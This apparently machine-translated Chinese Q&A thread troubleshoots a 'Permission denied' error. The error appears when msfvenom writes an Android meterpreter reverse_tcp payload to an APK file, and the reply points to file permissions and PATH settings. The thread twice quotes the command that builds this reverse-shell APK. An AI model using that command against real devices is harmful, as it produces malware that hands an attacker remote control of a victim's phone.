使用捆绑命令时权限被拒绝

使用捆绑命令时权限被拒绝

我对 Metasploit 几乎一无所知,所以我遇到的问题可能任何有经验的人都可以解决,但我在网上没有看到任何解决办法。我正在运行

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk

并返回

bash: filename.apk: Permission denied

此外,为了运行此命令而不出现大量错误,或者运行我必须进入的 metasploit 控制台/opt/metasploit-framework

无论如何,我只找到一个有同样问题的来源,运行 bundler 命令时出现“权限被拒绝”但是,这里也没有解决方案。

还有其他人遇到过这个问题并找到了解决方案吗?

答案1

如果你跑

msfvenom -p android/meterpreter/reverse_tcp LHOST=ip R > filename.apk 

从不属于您的位置创建文件filename.apk将导致Permission denied。这是 Linux 中众所周知的安全措施。在这种情况下,您需要在命令前加上“sudo”。

另外,为了运行此命令而不出现大量错误,或者运行 metasploit 控制台,我必须位于 /opt/metasploit-framework/

意味着您可能拥有该目录,并且其中的任何内容或预期的参数都可以从另一个目录中找到,/opt/metasploit-framework/而不是从另一个目录中找到(这将与 PATH 变量或设置环境变量相关)。除非您将消息编辑到您的问题中,否则无法进一步回答。

相关内容